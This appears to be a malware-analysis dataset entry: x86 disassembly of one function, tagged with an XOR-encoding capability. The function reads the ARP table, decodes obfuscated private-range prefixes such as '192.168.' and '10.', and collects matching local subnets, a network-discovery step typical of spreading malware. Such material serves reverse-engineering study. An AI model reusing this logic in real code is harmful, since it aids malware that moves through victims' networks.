Function at 0x405d50
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7c
push ebx
push esi
push edi
mov edi, dword [sym.imp.IPHLPAPI.DLL_GetIpNetTable]
lea eax, [ebp - 8]
xor ebx, ebx
mov dword [ebp - 0xc], ecx
push ebx
push eax
push ebx
mov dword [ebp - 8], ebx
call edi
mov ecx, dword [ebp - 8]
test ecx, ecx
je 0x405f95
call fcn.00405c2d
mov esi, eax
test esi, esi
je 0x405f95
push ebx
lea eax, [ebp - 8]
push eax
push esi
call edi
test eax, eax
jne 0x405f8a
mov dword [ebp - 0x18], ebx
cmp dword [esi], ebx
jbe 0x405f87
lea eax, [esi + 0x14]
mov dword [ebp - 0x1c], eax
mov edx, dword [eax]
lea eax, [ebp - 0x7c]
push 0x2c
mov dword [ebp - 0x10], edx
pop ecx
mov byte [eax], bl
inc eax
sub ecx, 1
jne 0x405db5
push edx
call dword [sym.imp.WS2_32.dll_inet_ntoa]
mov edi, eax
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov dword [ebp - 0x34], 0x32
mov edx, ebx
mov ecx, dword [ebp - 0x34]
xor cl, 0x31
mov byte [ebp - 0x30], cl
mov ecx, dword [ebp - 0x34]
inc cl
xor cl, 0x37
mov byte [ebp - 0x2f], cl
mov eax, dword [ebp - 0x34]
add al, 2
xor al, 0x32
mov byte [ebp - 0x2e], al
mov eax, dword [ebp - 0x34]
add al, 3
mov byte [ebp - 0x2c], bl
xor al, 0x2e
mov byte [ebp - 0x2d], al
mov al, byte [ebp - 0x30]
mov al, byte [ebp + edx - 0x30]
mov ecx, dword [ebp - 0x34]
add cl, dl
xor cl, al
mov byte [ebp + edx - 0x30], cl
inc edx
cmp edx, 4
jb 0x405e03
lea eax, [ebp - 0x30]
mov byte [ebp - 0x2c], bl
push eax
push edi
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
mov dword [ebp - 0x50], 0x7e
mov edx, ebx
mov byte [ebp - 0x4c], 0x4f
mov byte [ebp - 0x4b], 0x47
mov byte [ebp - 0x4a], 0x4c
mov byte [ebp - 0x49], 0x50
mov byte [ebp - 0x48], 0x4f
mov byte [ebp - 0x47], 0x48
mov byte [ebp - 0x46], 0x46
mov dword [ebp - 0x20], eax
mov byte [ebp - 0x45], 0x50
mov al, byte [ebp - 0x4c]
mov byte [ebp - 0x44], bl
mov al, byte [ebp + edx - 0x4c]
mov ecx, dword [ebp - 0x50]
xor cl, al
mov byte [ebp + edx - 0x4c], cl
inc edx
cmp edx, 8
jb 0x405e58
lea eax, [ebp - 0x4c]
mov byte [ebp - 0x44], bl
push eax
push edi
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
mov byte [ebp - 4], 0x3b
mov byte [ebp - 3], 0x3a
mov byte [ebp - 2], 0x38
mov byte [ebp - 1], bl
mov cl, byte [ebp - 4]
mov dword [ebp - 0x24], eax
mov ecx, ebx
sub byte [ebp + ecx - 4], 0xa
inc ecx
cmp ecx, 3
jb 0x405e90
lea eax, [ebp - 4]
push eax
push edi
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
mov dword [ebp - 0x40], 0x51
mov edx, ebx
mov ecx, dword [ebp - 0x40]
xor cl, 0x31
mov dword [ebp - 0x28], eax
mov byte [ebp - 0x3c], cl
mov ecx, dword [ebp - 0x40]
inc cl
xor cl, 0x36
mov byte [ebp - 0x3b], cl
mov ecx, dword [ebp - 0x40]
add cl, 2
xor cl, 0x39
mov byte [ebp - 0x3a], cl
mov eax, dword [ebp - 0x40]
add al, 3
mov byte [ebp - 0x38], bl
xor al, 0x2e
mov byte [ebp - 0x39], al
mov al, byte [ebp - 0x3c]
mov al, byte [ebp + edx - 0x3c]
mov ecx, dword [ebp - 0x40]
add cl, dl
xor cl, al
mov byte [ebp + edx - 0x3c], cl
inc edx
cmp edx, 4
jb 0x405ee2
lea eax, [ebp - 0x3c]
mov byte [ebp - 0x38], bl
push eax
push edi
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
cmp dword [ebp - 0x20], edi
je 0x405f18
cmp dword [ebp - 0x24], edi
je 0x405f18
cmp dword [ebp - 0x28], edi
je 0x405f18
cmp eax, edi
jne 0x405f6f
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax]
jmp 0x405f36
movzx eax, word [ecx]
lea edx, [ebp - 0x10]
cmp ax, word [edx]
jne 0x405f33
movzx eax, byte [ecx + 2]
cmp al, byte [edx + 2]
je 0x405f6f
mov ecx, dword [ecx + 4]
test ecx, ecx
jne 0x405f1f
mov eax, dword [ebp - 0x10]
push 0xc
mov dword [ebp - 0x14], eax
pop ecx
mov byte [ebp - 0x11], bl
call fcn.00405c2d
mov edi, eax
test edi, edi
je 0x405f87
mov eax, dword [ebp - 0xc]
lea edx, [edi + 4]
mov ecx, dword [ebp - 0x14]
mov dword [edi], ecx
mov dword [edx], ebx
mov ecx, dword [eax + 4]
mov dword [edi + 8], ecx
mov eax, dword [eax + 4]
mov dword [eax], edi
mov eax, dword [ebp - 0xc]
mov dword [eax + 4], edx
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
inc edi
add eax, 0x18
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x1c], eax
cmp edi, dword [esi]
jb 0x405daa
xor ebx, ebx
inc ebx
mov ecx, esi
call fcn.00405cd2
mov eax, ebx
jmp 0x405f97
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret